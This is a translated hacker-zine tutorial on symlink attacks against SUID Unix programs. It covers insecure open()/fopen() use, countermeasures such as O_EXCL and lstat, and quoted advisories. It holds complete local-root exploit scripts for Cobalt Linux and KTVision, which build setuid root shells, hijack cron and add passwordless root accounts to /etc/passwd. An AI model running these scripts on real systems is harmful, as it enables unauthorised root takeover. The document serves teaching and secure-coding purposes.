__ __ __ .-----.--.--.----.| |.--.--.--| |.-----.--| | .-----.----.-----. | -__|_ _| __|| || | | _ || -__| _ |__| _ | _| _ | |_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___ | by l0om - member of excluded-team |_____| translated by feylamia
symlink-attack -------------- How attackers can check-mate the admin through simple programming errors Content: 1.0 Preamble 2.0 Introduction 3.0 Hazards in programroutines 4.0 Countermeasures 5.0 examples from securityfocus 5.0 Greets 1.0 Preamble This text addresses the origin, the discovery, and the exploitation of symlink attacks. Before- this is not a scientific approach to the topic, but it is meant to explain as many readers as possible, what a symlink-attack is, and how it forms. It was originally written in emacs, but for the many visitors using MS-Windows, this text was optimized for Word. # :/ Although, it should look well with StarOffice. (got KDE?) The punctuation was discarded because of the authors mental state. Spelling errors may be printed, and pinned to your wall. This text is related to program-routines of the coding language C running on an *NIXoid OS. With Windows, there won't be problems by symlinks. The author can be reached via innate@gmx.de, the translator can be reached via irc://irc.euirc.net/ Der Author ist unter innate@gmx.de zu erreichen. 2.0 Introduction Being a user, you are in continous contact with files. Solely the fact of having a HOME directory makes this explicit. On a UNIX OS (and UNIX-clones, like Linux) files generally have a owner and a group. If e.g. the user 'thomas' is a member of the group 'wimps', and 'thomas' creates a file, this file belongs to the user 'thomas' and is also owned by the group 'wimps'. What is the advantage of this? On UNIX-variants files have specified access permissions. This makes sure, that multiple users working on one system do not destroy files of other users, or copy files without permission of the owner. Thus, the user 'thomas' can give his file read-write- and executepermissions. After a while you discover more and more files, which have different permissions as well as they are of different types. Commonly known file formats are '.txt' or '.exe'. Beside these 'regular' files, UNIX has some more types, which do not exist in simpler operating systems like MS-DOS. Now then: -regular files: are those, which can contain data, text or executables. -links: links are alternate names for a file, which means, the same file can be addressed by another name. °hard-links: not to be discussed here °symbolic-links: like mentioned above a link is a nickname for another file. symbolic links are also called 'soft-links'. with them you can create links over the boundaries of different filesystems. An example will show the principle of a s-link best. But first, lets look at the shell command "ln". The line-orientated program is usually in the /bin/ directory, and executable by every user. ln [option] <filename> <linkname> Creates a link from <linkname> to <filename> Options: -f : forces the creation of the link (doesn't ask for permission). -n : don't overwrite existing files -s : creates a symbolic link An example: l0om@home:~/test> ln -s /etc/passwd ./symtest l0om@home:~/test> ls -l ./symtest lrwxrwxrwx 1 l0om 500 10 Nov 3 16:32 ./symtest -> /etc/passwd l0om@home:~/test> # puhh... now iam l337 ;) l0om@home:~/test> head -n 1 ./symtest root:x:0:0:root:/root:/bin/bash l0om@home:~/test> echo "owned" >>./symtest Permission denied. In the first commandshell, we created a symlink from /etc/passwd to ./symtest. With the command "ls -l" (where ls standing for list and the -l option shows the file permissions) we look up information on the file. We can see by the l on the beginning of the line, that it is a link. The file permissions, which effectively allow everything for everyone are explicitly applied to the the link and not to the linked file. "l0om" is the owner of the link, and belongs to the group-id 500. Following there is the date of last modification and then the link (from where to what). We can test if everything went fine with the link, if we look at first line of the link (namedly the file /etc/passwd). Writing into the file via 'echo' is of course prohibited though. ############################NOTE########################## l0om@host:~> echo fun with the symbolic links l0om@host:~> mkdir dir1 l0om@host:~> touch dir1/datei l0om@host:~> ln ../dir1 dir1/dir2 l0om@host:~> ls -LR dir1 l0om@host:~> ^C^C^C^ #Wow! ########################################################### 3.0 Hazards with programming routines Attackers are always interested in increasing their access permissions. The main target of an attackers struggle are the superuser(root) permissions. With this, the attackers got the total control over the system, and can manipulate or use it as he wishes. But how then can an attacker gain this rights? This topic seems to be endless. In most cases there are exploits involved. Exploits are programs, which use bad/sloppy programmed software to scratch on the systems security. There are many known techniques for exploits: -Buffer Overflows, -Format-String attacks, -Heap Overflows, -Race Conditons and -Symlink attacks are the best known of these. But how can the possibility form, that an attacker can bring the systems security to its knees, by a symlink attack? Actually you can say: every time when a file is opened by using a sloppy programmed routine, a symlink attack can occur. The most dangerous possibility here, is when the program is executed with the SUID-bit. Many programs create temporary files (swapfiles) at runtime. Data is stored there and read back later. Temporary files are mostly created in the /tmp directory, but there are many known exceptions. But like we said earlier-, even the opening of a high-score by a KDE-game can be exploited. We take a prominent example from the "Anti-Hacker-Buch". In this example, all is about the "dtappgather" attack on Solaris. Every time "dtappgater" is executed, it creates a temporary file with the name "/var/dt/appconfig/appmanager/generic-display-0", and sets the file permissions to "0666". Aside the user, running the program is entered as the owner of the file. Unfortunately there is no logical check whether the file does already exist or if it is an symbolic link, targetting on another file (eg /etc/passwd). Lets see how this attack looks in reality: l0om@home:~> ls -l /etc/passwd -r-xr-xr-x 1 root root 560 May 5 22:36 /etc/passwd We can see that the user l0om can read the file, but not write into it. Further we perceive that the file belongs to the superuser, and also belongs to the superuser group. Now, lets create a link from /var/dt/appconfig/appmanager/generic-display-0 to /etc/passwd l0om@home:~> ln -s /etc/passwd /var/dt/appconfig/appmanager/generic-display-0 After that, we execute "dtappgather", and check the permissions on /etc/passwd again. l0om@home:~> ls -l /etc/passwd -r-xr-xr-x 1 l0om l0om 560 May 5 22:36 /etc/passwd Now whats that? We trapped "dtappgather", and it simply appointed us to the owner of /etc/passwd! Sadly, this helpful function isn't mentioned in the manual. ;) l0om@home:~> chmod +w /etc/passwd l0om@home:~> echo "Drl0om::0:0:muhaha:/:/bin/bash" >>/etc/passwd l0om@home:~> su Drl0om && echo "Schachmatt" # No comment -The devil lies in the detail- For sure- here we got a coding mistake. Often mistakes like this result from a wrong use of the open() or create() function. Es ist klar- es liegt ein Programmierfehler vor. Definition #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> int open(const char *dateiname, int flags, ... /*, mode_t modus*/ ); returns: file descriptor on success, -1 on error filename - name of the file to open flags: As flags u can enter the constants defined in fcntl.h: O_RDONLY = open file read-only access O_WRONLY = open file write-only access O_RDWR = open file read-write access You need to enter one of these constants. Beside these three constants there are quite some more optional flags, which need to be applied via the |-operator (bitwise OR) O_APPEND = open file for writing at the end O_CREAT = create file if it doesn't exist. in this case also the third parameter needs to be give (mode). Mode defines the access permissions for the new file. If the file does already exists this constant doesn't have any effects. O_EXCL = if O_EXCL is given together with O_CREAT, then the file can't be opened if it already exists, and open() returns -1 (for error) ... If you're interested in more options: l0om@home:~> man open For our case this will be sufficient. A little example case (this program got the SUID-bit) /* start */ ... int fd; ... fd = open(TMPFILENAME, O_RDWR | O_CREAT, 0666); /* Omfg */ /* break here */ Here isn't any logical check happening, whether TMPFILENAME does already exist, or if it is a symbolic link. If our attacker previously had created a symlink with the name of the constant onto a important systemfile like /etc/passwd, he would now be in control of this file. Effectively the same is happening with the use of the creat() function. l0om@host:~> man creat A similar danger develops from use of the fopen() function. Definition #include <stdio.h> FILE *fopen(const char *filename, const char *mode); returns FILE pointer to filename, on error NULL filename: name of the file # who could have guessed this? mode: This argument sets the access mode "r" : read only "w" : write only "a" : write on the end of the file "r+" : write and read "w+" : write and read "a+" : write and read from the end of the file To be handled with special caution are surely the modes 'w' & 'w+'. When opening the file with any of those modes, the complete content of the existing file will be erased. If the file didn't exist, it will be created. Sadly, this function too doesn't check whether the file that is to be opened might be a link (or if it exists- this should be tested before). An attacker could use this to delete the content of important files. (eg /etc/passwd,/var/utmp,/var/wtmp...) Depending on the further use of the tmp-file by the program, content of the system files could also be modified. Prerequisite for this is, that the program has the SUID-bit set, and this permission isn't removed before opening the file with fopen(), by using setuid(), seteuid(), setsuid(), or setgid() (same goes for freopen). A very similar problem occurs when using the tmpfile() function, which opens tmp files in the "w+" mode! #########################NOTE############################ In general, the creation of swapfiles with fopen() should be handled with care. All new files will be created (according to POSIX) with the following rights: rw-rw-rw- This means, that everybody could read the contents, even if it was sensitive data. Then again, this isn't a problem with symlinks, but rather with permissions and sensitive files. Thus we will keep it with that. ########################################################## 4.0 Countermeasures So, how do we prevent symlink attacks? As usual, many ways lead to rome. Though, the most important thing is: THE PROGRAMMER MUST CHECK IF THE FILE DOES ALREADY EXIST! We read above, that there is a simple flag, checking for this. O_EXCL. If this flag had been set, and our attacker had tried the same evil- he wouldn't had successed, because O_EXCL checks if the file does exist. If this was true, open() wouldn't touch the file, and say goodbye with a returnvalue of -1. How do I check if it is a symlink? For this, we will look at the lstat() function and stat structure. The stat structure contains the necessary information for a file. the stat structure: struct stat { mode_t st_mode; /* filetype and permissions */ ino_t st_ino; /* i-node number */ dev_t st_dev; /* devicenumber */ dev_t st_rdev; /* devicenumber for devicefiles */ nlink_t st_nlink; /* number of links */ uid_t st_uid; /* User-ID of the owner */ gid_t st_gid; /* Group-ID of the owner */ off_t st_size; /* size in bytes for normal file */ time_t st_atime; /* date of last access */ time_t st_mtime; /* date of last modification */ time_t st_ctime; /* time of last i-node change*/ long st_blksize; /* pre-defined block size */ long st_blocks; /* count of required 512b blocks */ }; Definition int lstat(const char *filename, struct stat *buffer); returns 0 on success, -1 on error lstat(), like stat() writes the attributes of the file 'filename' in the structurevariable buffer. Differing from stat(), lstat() will write the links attributes into the buffer, if 'filename' is a symlink! For further information on the stat() command: l0om@home:~> man stat The structurelement st_mode contains permissions and the filetype. To look up the filetype from the variable, we need the macros from sys/stat.h. Macro returns true when it is a ... file S_ISREG() a regular file S_ISDIR() a directory S_ISCHR() a char orientated device S_ISBLK() a block orientated device S_ISFIFO() a FIFO or PIPE S_ISLNK() a symlink S_ISSOCK() a socket With the S_ISLNK() macro, we can insure ourselves whether it is a symbolic link. Best would be a negated test: /* start */ ... struct stat attribut; ... if(!(S_ISREG(attribut.st_mode))) { fprintf(stderr,"No regular file!\n"); return -1; /* or other error */ } ... /* end */ Using this, we also can exclude (d.org) that that it is a pipe. Because, even though I didn't ever mention it here, the same danger exists with Pipes or FIFOS. It's just, that in most cases the attacker gains more from symlinking to another file. For this reason, lets get back to the problem of tmpfile(), which opens the tmp-file with "w+" mode set. Is this function then generally wrong and not to be used? Of course not! There is a possibility to change predefined access masks (like tmpfile() or fopen() use). The function umask(). Definition #include <sys/types.h> #include <sys/stat.h> mode_t umask(mode_t mask); returns previous mask The filecreationmask for a process defines, which permissions may not be give when creating a file. The mask resembles a kind of filter, which controls that certain permissions don't get onto the file. For mask we again have different flags, which can be chained with the |-operator. constant meaning S_IRUSR read permissions for owner S_IWUSR write permissions for owner S_IXUSR execute permissions for owner S_IRWXU all three rights for owner S_IRGRP read permissions for the group S_IWGRP write permissions for the group S_IXGRP execute permissions for the group S_IRWXG all three rights for the group S_IROTH read permissions for other users S_IWOTH write permissions for other users S_IXOTH execute permissions for other users S_IRWXO all three rights for other users Our code-example: /* start */ ... umask(0); /* everything allowed */ ... umask( S_IXWUSR | S_IRWXG | S_IRWXO); /* we now define, it shall not be possible to give the file execution rights to the owner, nor any permission to the group or other users */ creat("test.tmp", S_IRWXU | S_IRWXG | S_IRWXO); /* created file with all permissions */ /* because everything except readwrite permissions for the owner is forbidden, the resulting file permission is: rw------- this works as well with tmpfile() or fopen() */ ... /* end */ Finally I want to point to the tool L0pht Watch, which checks the /tmp dir for new swap files. It was freely available from www.l0pht.com/advisories/l0pht-watch.tar.gz, nowadays you will have to google for it, until the author or the translator gets his lazy ass to go and search for it. Oo This program makes it a lot easier to check for symlink attacks. 5.0 Examples from securityfocus I put in three real life examples for symlink attacks, which I got from securityfocus. These are meant to show, how many of these programming errors exist, which often have fatal impact. ############################################################################### 1) xbreaky ############################################################################### ----------------------------------------------------------------------- Title: xbreaky symlink vulnerability Author: Marco van Berkum Classification: High risk Date: 12/09/2002 Email: m.v.berkum@obit.nl Company: OBIT Company site: http://www.obit.nl Personal website: http://ws.obit.nl ----------------------------------------------------------------------- About xbreaky ------------- xbreaky is a breakout game for X written by Dave Brul which can be downloaded from http://xbreaky.sourceforge.net. xbreaky is added to the OpenBSD ports tree, NetBSD tree and possibly others. Problem ------- By default xbreaky is installed as suid and can be abused to overwrite any file on the filesystem, by any user. Vulnerable versions ------------------- All versions prior to 0.0.5 Exploit ------- xbreaky uses $HOME/.breakyhighscores to write the highscores to, when $HOME/.breakyhighscores is symlinked to another file (*any* file) it simply overwrites it as root user. Example ------- root@animal:/home/marco# echo "bla" >rootfile root@animal:/home/marco# chmod 600 rootfile root@animal:/home/marco# exit logout marco@animal:~$ ln -s rootfile .breakyhighscores marco@animal:~$ xbreaky Now I play a game and set highscore as user "lol", then I exit the game. Its a nice game btw :) marco@animal:~$ cat rootfile cat: rootfile: Permission denied marco@animal:~$ su - Password: root@animal:~# cat /home/marco/rootfile lol <- voila, our highscore user Author's response and solution ------------------------------ The author corrected the problem and released xbreaky 0.0.5 Credits ------- Thanks to Dennis Oelkers for testing. ############################################################################## 2) Cobalt Linux 6.0 Local Root ############################################################################## Good morning all, I would like to apologise if this is old news, however I dont quite recall seeing this come across here yet. I just had a colo customer who was 100% up to date on cobalt release patches get owned with the following. #!/bin/sh # # Cobalt Linux 6.0 Local Root Exploit # # Effects: <= apache-1.3.20-RaQ4_1C3 (AFAIK all Cobalt Linux Apache ;) # Quick Fix: su - root -c "chmod 755 /usr/lib/authenticate" # # Problem Source Code: # fd = open("gmon.out", O_WRONLY|O_CREAT|O_TRUNC, 0666); # # Suggested Code: # fd = mkstemp("/tmp/gmon.out-XXXXXX"); # # Still need help Cobalt developers? Ok: # man 3 tmpfile; man 2 open; echo "Thanks core" # # by Charles Stevenson <core@bokeoa.com> # # Fri Jun 28 03:35:53 MDT 2002 # - initial version # Sun Jul 7 20:12:41 MDT 2002 # - added some features for robustness echo "RaQFuCK.sh by core" target="/usr/lib/authenticate" tempdir="/tmp" if [ -u /.sushi ] ; then exec /.sushi fi printf "Checking for $target..." if [ -f "$target" ] ; then echo "done." else echo "NO!" exit 1 fi printf "Checking if $target is setuid root..." if [ -u "$target" ] ; then echo "done." else echo "NO! Hrm... does this admin have a clue???" exit 1 fi if [ ! -d "$tempdir/core" ]; then printf "Creating $tempdir/core..." if ! mkdir "$tempdir/core" 2>/dev/null ; then echo "FAILED!" ; exit 1 fi echo "done." fi printf "Changing directory to $tempdir/core..." if ! cd "$tempdir/core" 2>/dev/null ; then echo "FAILED!" ; exit 1 else echo "done." fi printf "Creating cron.d symlink..." if ! ln -fs /etc/cron.d/core gmon.out 2>/dev/null; then echo "FAILED!" ; exit 1 else echo "done." fi printf "Changing umask..." if ! umask 000 ; then echo "FAILED!" ; exit 1 else echo "done." fi printf "Compiling root shell..." cat >sushi.c <<EOF #include <unistd.h> int main (int argc, char **argv, char **envp) { setuid(0); setgid(0); execve("/bin/sh",argv,envp); return -1; } EOF if ! cc sushi.c -o sushi 2>/dev/null; then echo "FAILED!" ; exit 1 else echo "done." fi printf "Compiling cron takeover..." cat >takeover.c <<EOF #include <stdlib.h> main() { system("cp $tempdir/core/sushi /.sushi ; chmod 6777 /.sushi"); } EOF if ! cc takeover.c -o own 2>/dev/null; then echo "FAILED!" ; exit 1 fi echo "done." printf "Performing symlink attack..." printf "\n\n\n\n" | "$target" if [ -u /etc/cron.d/core ] ; then echo "SYMLINK ATTACK FAILED!" && exit 1 else echo "done." fi printf "Setting up evil cron job..." cat >croncore <<EOF */1 * * * * root if [ -x "$tempdir/core/own" ] ; then "$tempdir/core/own"; fi EOF if ! cat croncore 2>/dev/null >/etc/cron.d/core; then echo "FAILED!" ; exit 1 else echo "done." fi printf "Waiting for root shell" while [ ! -u /.sushi ] ; do sleep 1 ; printf "." done echo "done." cd / printf "Cleaning up real quick..." if ! /.sushi -c "rm -rf $tempdir/core /etc/cron.d/core"; then echo "FAILED??? Fuck it!" else echo "done." fi echo "Spawning root shell!!! God Damn! I say GOD DAMN!!" if ! exec /.sushi -i; then echo "Exec Failed!!! BUMMER!" ; exit 1 fi ################################################################################ 3) Symlinks Symlinks - This time KTVison ################################################################################ Hi ppl, the subject already states the problem: there is a symlink follow problem in the (in many distributions suid root) ktvision binary <= 0.1.1-271. It is discouraging that nowadays such trivial symlink attacks are still possible. No comment anymore. In order to be complete: a bash script demonstrating this vulnerability is attached below. Ihq. ------------------------- ktv.sh ------------------------------- #!/bin/bash link=/home/paul/.kde/share/config linkto=/etc/passwd target=/opt/kde/bin/ktvision echo "" echo "KTVision <= 0.1.1-271 local r00t exploit by IhaQueR" echo "" if ! test -u $target ; then echo "[-] $target not found" exit 1 fi; echo "[+] $target found" rm -f sush* cat <<__DUPA__>>sush.c #include <stdio.h> main() { setuid(geteuid()); setgid(getegid()); execl("/bin/bash", "/bin/bash", NULL); } __DUPA__ echo " compiling sush" res=$(gcc sush.c -o sush) if test "$res" != "" -o ! -x sush ; then echo "[-] failed" rm sush* ktvback.* exit 2; fi; echo "[+] success" cp $linkto ktvback.$$ mkdir -p $link rm -f $link/ktvisionrc ln -s $linkto $link/ktvisionrc echo "" echo -n "now running... (ensure that X is up and running)" $target >/dev/null 2>&1 & cpid=$! declare -i cnt declare -i max cnt=0 max=60 while ! test -O $linkto ; do sleep 1; printf " %.2d" $cnt cnt=$(($cnt+1)) if test $cnt -ge $max ; then echo "" echo "" echo "[-] FAILED" rm sush* ktvback.* exit 2; fi; done; kill -9 $cpid >/dev/null 2>&1 rm $link/ktvisionrc echo "" echo "" echo "[+] SUCCESS, creating sush" echo >>$linkto "r00t::0:0:root:/root:/bin/bash" echo "" su r00t -c "chown 0.0 sush; chmod u+s sush; chmod g+s sush; cp ktvback.$$ $linkto; chown 0.0 $linkto" rm ktvback.* sush.c if ! test -u sush ; then echo " hm strange error" rm sush* ktvback.* exit 1 fi; echo "" echo "starting ./sush" ./sush #!plonk 6.0 Greets The whole Toxic Source Developers (http://t-s-d.de.vu) Strcat, Bofh, (by the way... I miss the 3d-crew and their cool daulogs!) Excluded-Team, HDC, Buha, Kryptocrew... (guys form long time ago like: WIT or joker(still the sub-7 h4x0R??)). Cool bands wich will never receive my greets like: strungout, face to face, propagandhi and so on :). l0om http://excluded.org/ PS: of course the translator is greeted, something I'll just add in here by myself: greets to feylamia Oo